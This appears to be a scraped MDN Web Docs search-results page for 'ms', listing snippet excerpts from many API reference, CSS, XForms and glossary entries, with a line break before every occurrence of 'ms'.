msnsinstanceelement.idlscriptable please add a summary to this article.
... last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) interface code [scriptable, uuid(80669b92-8331-4f92-aaf8-06e80e6827b3)] interface nsixfor
msnsinstanceelement : nsisupports { nsidomdocument getinstancedocument(); }; methods getinstancedocument nsidomdocument getinstancedocument(); getinstancedocument returns a dom document that corresponds to the instance data associated with the instance element.
...And 2 more matches
nsIXFormsNSModelElement
nsixfor
msnsmodelelement is implemented by all xfor
ms <model/> elements.
... it defines mozilla extensions to the nsixfor
msmodelelement interface.
... extensions/xfor
ms/nsixfor
msnsmodelelement.idlscriptable please add a summary to this article.
...And 2 more matches
AudioContext.createMediaStreamSource() - Web APIs
the createmediastrea
msource() method of the audiocontext interface is used to create a new mediastreamaudiosourcenode object, given a media stream (say, from a mediadevices.getusermedia instance), the audio from which can then be played and manipulated.
... syntax audiosourcenode = audiocontext.createmediastrea
msource(stream); parameters stream a mediastream to serve as an audio source to be fed into an audio processing graph for use and manipulation.
...usermedia ({audio: true, video: true}) .then(function(stream) { video.srcobject = stream; video.onloadedmetadata = function(e) { video.play(); video.muted = true; }; // create a mediastreamaudiosourcenode // feed the htmlmediaelement into it var audioctx = new audiocontext(); var source = audioctx.createmediastrea
msource(stream); // create a biquadfilter var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = range.value; // connect the audiobuffersourcenode to the gainnode // and the gainnode to the destination, so we can play the // music and adjust the ...
...And 2 more matches
ConstrainDOMString - Web APIs
the constraindo
mstring dictionary is used to specify a constraint for a property whose value is a string.
... properties the value of a constraindo
mstring can be any of the following: a single do
mstring an array of do
mstring objects an object with one or both of the following properties: exact either a single do
mstring which must be the value of the property, or an array of do
mstring objects one of which must be the property's value.
... ideal either a single do
mstring or an arrray of do
mstrings specifying ideal values for the property.
...And 2 more matches
DocumentOrShadowRoot.msElementsFromRect() - Web APIs
the
mselementsfromrect method returns the node list of elements that are under a rectangle defined by left, top, width, and height.
... syntax object.
mselementsfromrect(left, top, width, height, retval) parameters left [in] type: floating-point top[in] type: floating-point width[in] type: floating-point height [in] type: floating-point retval [out, reval] type: nodelist example to find all of the elements under a given point, use
mselementsfrompoint(x, y).
... to find all of the elements which intersect a rectangle, use
mselementsfromrect(top, left, width, height).
...And 2 more matches
HTMLVideoElement.msIsLayoutOptimalForPlayback - Web APIs
msislayoutoptimalforplayback is a read-only property which indicates whether the video can be rendered more efficiently.
... syntax htmlvideoelement.
msislayoutoptimalforplayback: do
mstring; value boolean value set to true indicates that video is being rendered optimally (better performance and using less battery power).
... for
msislayoutoptimalforplayback to be true, avoid the following: video elements with cascading style sheets (css) outlines set.
...And 2 more matches
MSManipulationEvent - Web APIs
msmanipulationevent provides contextual information when contact is made to the screen and an element is manipulated.
... events
msmanipulationstatechanged: event fires when the state of an element being manipulated has changed.
... methods
msmanipulationevent.init
msmanipulationevent(): used to create a manipulation event that can be called from javascript.
...And 2 more matches
msPlayToSource - Web APIs
msplaytosource is a read-only property which gets the source associated with the media element for use by the playtomanager.
... syntax ptr = object.
msplaytosource; value playto is a means through which an app can connect local playback/display for audio, video, and img elements to a remote device.
...
msplaytosource is used in the sourcerequested handler -- get the playtosource object from an audio, video, or img element using the
msplaytosource property and pass it to e.setsource, then set the playtosource.next property to the
msplaytosource of another element for continual playing.
...And 2 more matches
PublicKeyCredentialCreationOptions.pubKeyCredParams - Web APIs
the pubkeycredpara
ms property of the publickeycredentialcreationoptions dictionary is an array whose elements are objects describing the desired features of the credential to be created.
... syntax pubkeycredpara
ms = publickeycredentialcreationoptions.pubkeycredpara
ms value an array whose elements are objects with the following properties: type a string describing type of public-key credential to be created.
...the links between identifier and algorith
ms are defined in this iana registry (e.g.
...And 2 more matches
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
the rtcremoteoutboundrtpstrea
mstats dictionary's localid property is a string which can be used to identify the rtcinboundrtpstrea
mstats object whose remoteid matches this value.
... syntax let localid = rtcremoteoutboundrtpstrea
mstats.localid; value a do
mstring which can be compared to the value of an rtcinboundrtpstrea
mstats object's remoteid property to see if the two represent statistics for each of the two sides of the same set of data received by the local peer.
...thus, if an rtcstatsreport includes an remote-outbound-rtp statistics object (of type rtcremoteoutboundrtpstrea
mstats), it should also have a corresponding inbound-rtp object.
...And 2 more matches
SpeechGrammarList.addFromString() - Web APIs
the addfro
mstring() method of the speechgrammarlist interface takes a grammar present in a specific do
mstring within the code base (e.g.
... syntax speechgrammarlistinstance.addfro
mstring(string,weight); returns void.
... parameters string a do
mstring representing the grammar to be added.
...And 2 more matches
URLSearchParams() - Web APIs
the urlsearchpara
ms() constructor creates and returns a new urlsearchpara
ms object.
... syntax var urlsearchpara
ms = new urlsearchpara
ms(init); parameters init optional one of: a usvstring, which will be parsed from application/x-www-form-urlencoded format.
... return value a urlsearchpara
ms object instance.
...And 2 more matches
URLSearchParams.set() - Web APIs
the set() method of the urlsearchpara
ms interface sets the value associated with a given search parameter to the given value.
... syntax urlsearchpara
ms.set(name, value) parameters name the name of the parameter to set.
... examples let's start with a simple example: let url = new url('https://example.com?foo=1&bar=2'); let para
ms = new urlsearchpara
ms(url.search.slice(1)); //add a third parameter.
...And 2 more matches
URLSearchParams.toString() - Web APIs
the tostring() method of the urlsearchpara
ms interface returns a query string suitable for use in a url.
... syntax urlsearchpara
ms.tostring() parameters none.
... return value a do
mstring, without the question mark.
...And 2 more matches
msWriteProfilerMark - Web APIs
the
mswriteprofilermark method writes a profiling event.
... syntax window.
mswriteprofilermark("start-render"); parameters bstrprofilermarkname[in] an event name.
... notes
mswriteprofilermark enables you to inject dom based performance markers in addition to existing javascript api to learn exactly when parts of the page are being rendered, building a waterfall view for every one of our impressions showing latency per object, which can be useful for more accurately debugging real users perf issues.
...And 2 more matches
<ms> - MathML
the mathml <
ms> element represents a string literal meant to be interpreted by programming languages and computer algebra syste
ms.
...the content of an <
ms> element is not an ascii string per se, but rather a sequence of characters and <mglyph> and <malignmark> elements.
...that is, although the names suggest the typographic style for the class, semantically, ite
ms with the same class are treated "the same" within an expression, which might or might not involve displaying them with the named typography.
...And 2 more matches
-ms-touch-select - Archive of obsolete content
the -
ms-touch-select css property is a microsoft extension that toggles the gripper visual elements that enable touch text selection.
...in addition, selection will start even if an onclick, on
msgesturetap, or onmouseup handler is present.
... the -
ms-touch-select property should only be used by applications that provide their own selection experience.
... most other applications should use the -
ms-user-select property instead.
::-ms-browse - Archive of obsolete content
the ::-
ms-browse css pseudo-element is a microsoft extension that represents the button that opens the file picker of <input type="file">.
... permitted properties only the following css properties can be used in a rule with ::-
ms-browse in its selector.
... -
ms-background-position-x -
ms-background-position-y -
ms-high-contrast-adjust background-clip background-color background-image background-origin background-repeat background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top opacity outline-color outline-style outline...
...-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-
ms-browse example html <label>select image: <input type="file"></label> css input[type="file"]::-
ms-browse { color: red; background-color: yellow; } result output example specifications not part of any specification.
::-ms-clear - Archive of obsolete content
the ::-
ms-clear css pseudo-element creates a clear button at the edge of an <input type="text"> text control that clears the current value.
...such inputs include: <input type="color"> <input type="date"> <input type="datetime"> <input type="datetime-local"> <input type="email"> <input type="month"> <input type="number"> <input type="search"> <input type="tel"> <input type="time"> <input type="url"> <input type="week"> allowable properties only the following css properties can be used in a rule with ::-
ms-clear in its selector.
... -
ms-high-contrast-adjust background-clip background-color background-image background-origin background-position-x background-position-y background-repeat background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top opacity outline-color outline-style outline-width ...
...padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-
ms-clear example html <form> <label for="firstname">first name:</label> <input type="text" id="firstname" name="firstname" placeholder="first name"> <br> <label for="lastname">last name:</label> <input type="text" id="lastname" name="lastname" placeholder="second name"> </form> css input, label { display: block; } input[type=text]::-
ms-clear { color: red; /* this sets the cross color as red.
::-ms-expand - Archive of obsolete content
the ::-
ms-expand css pseudo-element is a microsoft extension that represents the button of a <select> menu control that opens or closes the drop-down menu.
... allowable properties only the following css properties can be used in a rule with ::-
ms-expand in its selector.
... -
ms-high-contrast-adjust background-clip background-color background-image background-origin background-position-x background-position-y background-repeat background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top opacity outline-color outline-style outline-width ...
...padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-
ms-clear specifications not part of any specification.
::-ms-fill-upper - Archive of obsolete content
the ::-
ms-fill-upper css pseudo-element is a microsoft extension that represents the upper portion of the track of a slider control; that is, the portion corresponding to values greater than the value currently selected by the thumb.
... allowable properties only the following css properties can be used in a rule with ::-
ms-fill-upper in its selector.
...r border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -
ms-background-position-x -
ms-background-position-y -
ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-
ms-fill-upper specifications not part of any specification.
... see also ::-
ms-fill-lower ::-
ms-track ::-
ms-thumb ::-moz-range-progress css-tricks: styling cross-browser compatible range inputs with css quirksmode: styling and scripting sliders ...
::-ms-reveal - Archive of obsolete content
the ::-
ms-reveal css pseudo-element is a microsoft extension that is used to display a password reveal button for use with a password field created by <input type="password">.
... the ::-
ms-reveal pseudo-element is specific to internet explorer 10 and later.
... allowable properties only the following css properties can be used in a rule with ::-
ms-reveal in its selector.
...r border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -
ms-background-position-x -
ms-background-position-y -
ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-
ms-reveal specifications not part of any specification.
::-ms-thumb - Archive of obsolete content
the ::-
ms-thumb css pseudo-element is a microsoft extension that represents the thumb that the user moves within the track of a slider control to alter its numerical value.
... allowable properties only the following css properties can be used in a rule with ::-
ms-thumb in its selector.
...r border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -
ms-background-position-x -
ms-background-position-y -
ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-
ms-thumb specifications not part of any specification.
... see also ::-
ms-track ::-
ms-fill-upper ::-
ms-fill-lower ::-webkit-slider-thumb ::-moz-range-thumb css-tricks: styling cross-browser compatible range inputs with css quirksmode: styling and scripting sliders ...
::-ms-ticks-after - Archive of obsolete content
the ::-
ms-ticks-after css pseudo-element is a microsoft extension that applies one or more styles to the tick marks that appear after the track of a slider control.
... it is possible to use the ::-
ms-ticks-after, ::-
ms-ticks-before, and ::-
ms-track pseudo-elements together.
... allowable properties only the following css properties can be used in a rule with ::-
ms-ticks-after in its selector.
...r border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -
ms-background-position-x -
ms-background-position-y -
ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-
ms-ticks-after ...
::-ms-ticks-before - Archive of obsolete content
the ::-
ms-ticks-before css pseudo-element is a microsoft extension that applies one or more styles to the tick marks that appear before the track of a slider control.
... it is possible to use the ::-
ms-ticks-after, ::-
ms-ticks-before, and ::-
ms-track pseudo-elements together.
... allowable properties only the following css properties can be used in a rule with ::-
ms-ticks-before in its selector.
...r border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -
ms-background-position-x -
ms-background-position-y -
ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-
ms-ticks-before ...
XForms Alert Element - Archive of obsolete content
the alert element's message can also be displayed immediately after the containing form control element in the xfor
ms document's layout.
... examples <xfor
ms:model> <xfor
ms:instance> <data xmlns=""> <x>10</x> </data> </xfor
ms:instance> <xfor
ms:bind id="x" nodeset="x" type="xsd:integer"/> </xfor
ms:model> <style> @namespace xfor
ms url("http://www.w3.org/2002/xfor
ms"); xfor
ms|input:invalid xfor
ms|alert.inline { display: inline; font-style: italic; width: 40%; } } </style> <xfor
ms:input bind="x"> <xfor
ms:label>you can type only numbers (validation happens on blur): </xfor
ms:label> <xfor
ms:alert>wrong value!
... you should type only numbers!</xfor
ms:alert> </xfor
ms:input> <xfor
ms:input bind="x"> <xfor
ms:label>you can type only numbers (validation happens on blur): </xfor
ms:label> <xfor
ms:alert class="inline">wrong value!
... you should type only numbers!</xfor
ms:alert> </xfor
ms:input> ...
XForms Output Element - Archive of obsolete content
attributes ui common appearance - the value of this attribute gives a hint to the xfor
ms processor as to which type of widget(s) to use to represent this control accesskey - used to specify the keyboard shortcut for focusing this control single-node binding special value - xpath expression whose evaluation result is used as the output's value.
... representations the xfor
ms output element can be represented by the following widgets for the specified data types (or types derived from these data types): text - default representation for instance data of most types, especially static text (xhtml/xul).
...xfor
ms output is most often used when a form author needs to render simple text of an instance node (xhtml/xul).
... analogous widgets are <xhtml:span/> and <xul:description/> calendar a form author may notice a xfor
ms output element represented by a calendar widget in the mozilla xfor
ms processor if the control meets the following criteria (xhtml/xul).
XForms Submit Element - Archive of obsolete content
upon receiving a domactivate event, this form control dispatches a xfor
ms-submit event to the submission element (see the spec) specified in its submission attibute.
... attributes ui common appearance - the value of this attribute gives a hint to the xfor
ms processor as to which type of widget(s) to use to represent this control.
...representations the xfor
ms submit element can be represented by the following widgets for the specified appearance attribute values: button - default representation (xhtml/xul) link/clickable text - used when appearance = 'minimal' (xhtml only) button displaying a button is the default presentation (xhtml/xul).
... characteristics analogous widgets are <html:input type="submit"/> and <xul:button/> link/clickable text xfor
ms authors can use this representation if they want to have a widget like a xhtml anchor (xhtml only).
XForms Trigger Element - Archive of obsolete content
actions are described by the xfor
ms action module (see the spec).
... attributes ui common appearance - the value of this attribute gives a hint to the xfor
ms processor as to which type of widget(s) to use to represent this control accesskey - used to specify the keyboard shortcut for focusing this control single-node binding type restrictions the trigger element can be bound to a node containing data of any type.
... representations the xfor
ms trigger element can be represented by the following widgets for the specified appearance attribute values: button - default representation (xhtml/xul) link/clickable text - used when appearance = 'minimal' (xhtml only) button displaying a button is the default presentation (xhtml/xul).
... characteristics analogous widgets are <html:input type="button"/> and <xul:button/> link/clickable text xfor
ms authors can use this representation if they want to have a widget like a xhtml anchor (xhtml only).
Algorithm - MDN Web Docs Glossary: Definitions of Web-related terms
computer scientists compare the efficiency of algorith
ms through the concept of "algorithmic complexity" or "big o" notation.
... common algorith
ms are pathfinding algorith
ms such as the traveling salesman problem, tree traversal algorith
ms and so on.
... there are also machine learning algorith
ms such as linear regression, logistic regression, decision tree, random forest, support vector machine, recurrent neural network (rnn), long short term memory (lstm) neural network, convolutional neural network (cnn), deep convolutional neural network and so on.
... learn more general knowledge algorithm on wikipedia technical reference explanations of sorting algorith
ms explanations of algorithmic complexity ...
Distributed Denial of Service - MDN Web Docs Glossary: Definitions of Web-related terms
a distributed denial-of-service (ddos) is an attack in which many compromised syste
ms are made to attack a single target, in order to swamp server resources and block legitimate users.
...the attack master, also known as the botmaster, identifies and infects other vulnerable syste
ms with malware.
...both kaspersky labs and symantec have identified botnets -- not spam, viruses, or wor
ms -- as the biggest threat to internet security.
... the united states computer emergency readiness team (us-cert) defines sympto
ms of denial-of-service attacks to include: unusually slow network performance (opening files or accessing websites) unavailability of a particular website inability to access any website dramatic increase in the number of spam emails received—(this type of dos attack is considered an email bomb) disconnection of a wireless or wired internet connection longterm denial of access to the web or any internet services learn more general knowledge denial-of-service attack on wikipedia ...
Effective connection type - MDN Web Docs Glossary: Definitions of Web-related terms
table of effective connection types ect minimum rtt maximum downlink explanation slow-2g 2000
ms 50 kbps the network is suited for small transfers only such as text-only pages.
... 2g 1400
ms 70 kbps the network is suited for transfers of small images.
... 3g 270
ms 700 kbps the network is suited for transfers of large assets such as high resolution images, audio, and sd video.
... 4g 0
ms ∞ the network is suited for hd video, real-time video, etc.
MVC - MDN Web Docs Glossary: Definitions of Web-related terms
going back to our shopping list app, the model would specify what data the list ite
ms should contain — item, price, etc.
... — and what list ite
ms are already present.
... so for example, our shopping list could have input for
ms and buttons that allow us to add or delete ite
ms.
... in the early days of the web, mvc architecture was mostly implemented on the server-side, with the client requesting updates via for
ms or links, and receiving updated views back to display in the browser.
Public-key cryptography - MDN Web Docs Glossary: Definitions of Web-related terms
this gives public-key encryption syste
ms an advantage over symmetric encryption syste
ms in that the encryption key can be made public.
...however, they are typically much slower than symmetric algorith
ms and the size of message they can encrypt is proportional to the size of the key, so they do not scale well for long messages.
...this arrangement can confer the benefits of both syste
ms.
... commonly used public-key cryptosyste
ms are rsa (for both signing and encryption), dsa (for signing) and diffie-hellman (for key agreement).
Sending forms through JavaScript - Learn web development
html for
ms can send an http request declaratively.
... but for
ms can also prepare an http request to send via javascript, for example via xmlhttprequest.
... a form is not always a form with progressive web apps, single page apps, and framework based apps, it's common to use html for
ms to send data without loading a new document when response data is received.
... many modern uis only use html for
ms to collect input from the user, and not for data submission.
Define terms with HTML - Learn web development
how to build a description list description lists are just what they claim to be: a list of ter
ms and their matching descriptions (e.g., definition lists, dictionary entries, faqs, and key-value pairs).
... the ter
ms described go inside <dt> elements.
...d entree typically containing chicken, sausage, seafood, and spices </dd> <dt>sukiyaki</dt> <dd> japanese specialty consisting of thinly sliced meat, vegetables, and noodles, cooked in sake and soy sauce </dd> <dt>chianti</dt> <dd> dry italian red wine originating in tuscany </dd> </dl> the basic pattern, as you can see, is to alternate <dt> ter
ms with <dd> descriptions.
... if two or more ter
ms occur in a row, the following description applies to all of them.
Use HTML to solve common problems - Learn web development
the following links point to solutions to common everyday proble
ms you'll need to solve with html.
... how to create a list of ite
ms with html how to stress or emphasize content how to indicate that text is important how to display computer code with html how to annotate images and graphics how to mark abbreviations and make them understandable how to add quotations and citations to web pages how to define ter
ms with html hyperlinks one of the main reasons for html is making navigation easy with hyperlinks, which c...
... how to use css within a webpage how to use javascript within a webpage embedded content how to embed a webpage within another webpage how to add flash content within a webpage uncommon or advanced proble
ms beyond the basics, html is very rich and offers advanced features for solving complex proble
ms.
... these articles help you tackle the less common use cases you may face: for
ms for
ms are a complex html structure made to send data from a webpage to a web server.
MathML Demo: <mspace> - space
mathml demo: <
mspace> - space the background color of <
mspace> elements has been set to yellow for easier viewing.
... you can set the width ∑ x y height ∫ x y and depth [ x y ] of
mspace elements (click the math text to view the numeric values that are set).
... interactive sizing html content <p> use the control buttons below to adjust the parameters of the <code>
mspace</code> element and see the effects.
...t:downheight();" title="decrease height">-</a> width <a class="control" href="javascript:upwidth();" title="increase width">+</a>/ <a class="control" href="javascript:downwidth();" title="decrease width">-</a> depth <a class="control" href="javascript:updepth();" title="increase depth">+</a>/ <a class="control" href="javascript:downdepth();" title="decrease depth">-</a> <math display="block"> <
mstyle displaystyle="true"> <
msqrt> <mrow> <mn>3</mn> <
mspace style="background-color: yellow" id="thespace" height="0.1ex" depth="0.1ex" width="0.1em" /> <mi>x</mi> </mrow> </
msqrt> </
mstyle> </math> </p> javascript content var height=0; var width=0; var depth=0; function upheight() { height++; document.getelementbyid("thespace").setattribute("height",height+".1ex"); } function downheight...
JS::NewFunctionFromSpec
syntax jsfunction* js::newfunctionfro
mspec(jscontext* cx, const jsfunctionspec* fs, handleid id); name type description cx jscontext * the context in which to define functions.
... description js::newfunctionfro
mspec creates a new function based on the given jsfunctionspec, *fs.
... on success, js::newfunctionfro
mspec returns a pointer to newly created function.
... see also mxr id search for js::newfunctionfro
mspec js_definefunctions bug 1054756 - added ...
nsIDOMStorageList
dom/interfaces/storage/nsido
mstoragelist.idlscriptable this interface is used to access the contextual storage areas used by globalstorage by domain.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview nsido
mstorage nameditem(in do
mstring domain); methods nameditem() called when the list of available access points changes.
... nsido
mstorage nameditem( in do
mstring domain ); parameters domain the name of the domain for whom to return the storage object.
... return value the nsido
mstorage object representing the data store for the specified domain.see also dom storage structured client-side storage (html 5 specification) nsidomwindow ...
nsIDOMStorageWindow
dom/interfaces/storage/nsido
mstoragewindow.idlscriptable this interface provides access to a dom window's client side storage objects.
... attributes attribute type description globalstorage nsido
mstoragelist global storage, accessible by domain.
... localstorage nsido
mstorage local storage for the current browsing context.
... sessionstorage nsido
mstorage session storage for the current browsing context.
nsIMsgCompFields
« xpcom api reference summary the nsi
msgcompfields interface provides properties for an composition of an outgoing message.
... prbool bcc astring body astring bodyisasciionly prbool cc astring characterset char * defaultcharacterset char * readonly drafid char * dsn prbool fcc astring fcc2 astring followupto char * force
msgencoding prbool forceplaintext prbool from astring hasrecipients prbool readonly new in thunderbird 23 indicates whether something is filled in in the to, cc, or bcc attribute.
... subject astring templatename astring temporaryfiles char * obsolete temporaryfiles obsolete, do not use anymore to astring usemultipartalternative prbool uuencodeattachments prbool methods utility methods prbool checkcharsetconversion ( out char * fallbackcharset ); nsi
msgrecipientarray splitrecipients ( in prunichar * recipients, in prbool emailaddressonly ); void convertbodytoplaintext ( ); attachment handling methods void addattachment ( in nsi
msgattachment attachment ); void removeattachment ( in nsi
msgattachment attachment ); void removeattachments ( ); header methods void setheader(char* name, ch...
...ar* value); references this interface is the type of the following properties: nsi
msgcompose.compfields, nsi
msgcomposepara
ms.composefields this interface is passed as an argument to the following methods: nsi
msgcomposesecure.begincryptoencapsulation, nsi
msgcomposesecure.requirescryptoencapsulation, nsi
msgsend.createandsendmessage, nsi
msgsend.sendmessagefile, nsismimejshelper.getnocertaddresses, nsismimejshelper.getrecipientcertsinfo ...
nsIMsgDBViewCommandUpdater
the nsi
msgdbviewcommandupdater interface controls changes that occur as the selection changes.
... mailnews/base/public/nsi
msgdbview.idl#349scriptable please add a summary to this article.
... last changed in gecko 1.9 (firefox 3) inherits from: nsisupports in thunderbird this is implemented for different windows in several different places: ns
msgdbviewcommandupdater (for the standalone message window) ns
msgdbviewcommandupdater (for the threadpane message window) ns
msgsearchcommandupdater (for search dialogs) method overview void updatecommandstatus(); void displaymessagechanged(in nsi
msgfolder afolder, in astring asubject, in acstring akeywords); void updatenextmessageafterdelete(); methods updatecommandstatus() called when the number of selected ite
ms changes.
... void displaymessagechanged(in nsi
msgfolder afolder, in astring asubject, in acstring akeywords ); parameters afolder the folder containing selected message.
nsIMsgWindowCommands
mailnews/base/public/nsi
msgwindow.idlscriptable this interface defines methods used by the back end to update the user interface in a mail or news message list.
...method overview void selectfolder(in acstring folderuri); void selectmessage(in acstring messageuri); void clear
msgpane(); methods selectfolder() this method is called by the backend to change the folder displayed in the message window.
... clear
msgpane() this method is called by the backend when it wants to clear the message pane, for instance if you select the group header .
... void clear
msgpane(); paramters none.
CSSOMString - Web APIs
csso
mstring is used to denote string data in cssom specifications and can refer to either do
mstring or usvstring.
... when a specification says csso
mstring, it depends on the browser vendors to choose whether to use do
mstring or usvstring.
... while browser implementations that use utf-8 internally to represent strings in memory can use usvstring when the specification says csso
mstring, implementations that already represent strings as 16-bit sequences might choose to use do
mstring instead.
... implementation differences browser do
mstring or usvstring for csso
mstring firefox (gecko) usvstring chrome (blink) usvstring safari (webkit) usvstring edge (edgehtml) - opera (blink) usvstring specifications specification status comment css object model (cssom)the definition of 'csso
mstring' in that specification.
DOMString - Web APIs
do
mstring is a utf-16 string.
... as javascript already uses such strings, do
mstring is mapped directly to a string.
... passing null to a method or parameter accepting a do
mstring typically stringifies to "null".
... specifications specification status comment web idlthe definition of 'do
mstring' in that specification.
DOMStringList - Web APIs
a type returned by some apis which contains a list of do
mstring (strings).
... properties do
mstringlist.length read only returns the length of the list.
... methods do
mstringlist.item() returns a do
mstring.
... do
mstringlist.contains() returns boolean indicating if the given string is in the list specifications specification status comment html living standardthe definition of 'do
mstringlist' in that specification.
EcKeyGenParams - Web APIs
the eckeygenpara
ms dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.generatekey(), when generating any elliptic-curve-based key pair: that is, when the algorithm is identified as either of ecdsa or ecdh.
... properties name a do
mstring.
... namedcurve a do
mstring representing the name of the elliptic curve to use.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.eckeygenpara
ms' in that specification.
EcKeyImportParams - Web APIs
the eckeyimportpara
ms dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.importkey() or subtlecrypto.unwrapkey(), when generating any elliptic-curve-based key pair: that is, when the algorithm is identified as either of ecdsa or ecdh.
... properties name a do
mstring.
... namedcurve a do
mstring representing the name of the elliptic curve to use.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.eckeyimportpara
ms' in that specification.
EcdsaParams - Web APIs
the ecdsapara
ms dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.sign() or subtlecrypto.verify() when using the ecdsa algorithm.
... properties name a do
mstring.
... hash a do
mstring.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.ecdsapara
ms' in that specification.
Element: MSGestureHold event - Web APIs
the
msgesturehold event is fired when the user contacts the touch surface and remains in the same position for a while.
... bubbles unknown cancelable unknown interface
msgestureevent event handler property unknown the uievent.detail property of an
msgesturehold event has 3 possible values:
msgesture_flag_begin this value indicates that the user started contacting the touch surface.
...
msgesture_flag_end this value indicates that the user has stopped touching the touch surface.
...
msgesture_flag_end &
msgesture_flag_cancel (bitwise and-ed together) this value indicates that the user has moved their finger, regardless of whether they also stopped touching the touch surface specifications not part of any specification.
Element: msContentZoom event - Web APIs
the
mscontentzoom event fires when a user zoo
ms the element (changes the scale of the content).
... zoomed elements can expose their zoom level through
mscontentzoom (ie.
...the zoom level can be reset with element.
mszoomto().
... bubbles unknown cancelable unknown interface unknown event handler property unknown example contentzoom.addeventlistener("
mscontentzoom", function(e) { zoomfactor.value = contentzoom.
mscontentzoomfactor.tofixed(2); }); specifications not part of any specification.
Event.msConvertURL() - Web APIs
the
msconverturl method instructs the html paste operation on how to modify the src attribute that corresponds to each file in the clipboarddata.files collection, allowing otherwise inaccessible files to be converted to blob or data uris.
... syntax var retval = dragevent.
msconverturl(file, targettype, targeturl); parameters file [in] type: file the file object to be converted.
... targettype [in] type: do
mstring one of the following values indicating the desired conversion type: "specified", "base64", or "unchanged".
... evt.converturl(file, "specified", url); } else { evt.
msconverturl(file, "specified", url); } console.log("local file: " + file.name + " (" + file.size + ")"); bloblist.push(file); } // for } // handlepaste see also microsoft api extensions ...
msAudioDeviceType - Web APIs
the
msaudiodevicetype property of the html <audio> element, is a read/write proprietary attribute, specific to internet explorer and microsoft edge.
...
msaudiodevicetype specifies the output device id that the audio will be sent to.
... syntax <audio src="sound.mp3"
msaudiodevicetype="communications" /> by default, audio on your system will output to your default speakers and be considered a foreground element, meaning that the audio will play only when the element is active in the app.
... for real-time communications, you can use the
msaudiodevicetype property with the value console, multimedia, or communications to specify where the current audio should output.
HkdfParams - Web APIs
the hkdfpara
ms dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.derivekey(), when using the hkdf algorithm.
... properties name a do
mstring.
... hash a do
mstring representing the digest algorithm to use.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.hkdfpara
ms' in that specification.
HmacImportParams - Web APIs
the hmacimportpara
ms dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.importkey() or subtlecrypto.unwrapkey(), when generating a key for the hmac algorithm.
... properties name a do
mstring.
... hash a do
mstring representing the name of the digest function to use.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.hmacimportpara
ms' in that specification.
HmacKeyGenParams - Web APIs
the hmackeygenpara
ms dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.generatekey(), when generating a key for the hmac algorithm.
... properties name a do
mstring.
... hash a do
mstring representing the name of the digest function to use.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.hmackeygenpara
ms' in that specification.
MSCandidateWindowShow - Web APIs
mscandidatewindowshow fires immediately after the input method editor (ime) candidate window is set to appear, but before it renders.
... syntax event property object.oncandidatewindowshow = handler; addeventlistener method object.addeventlistener("
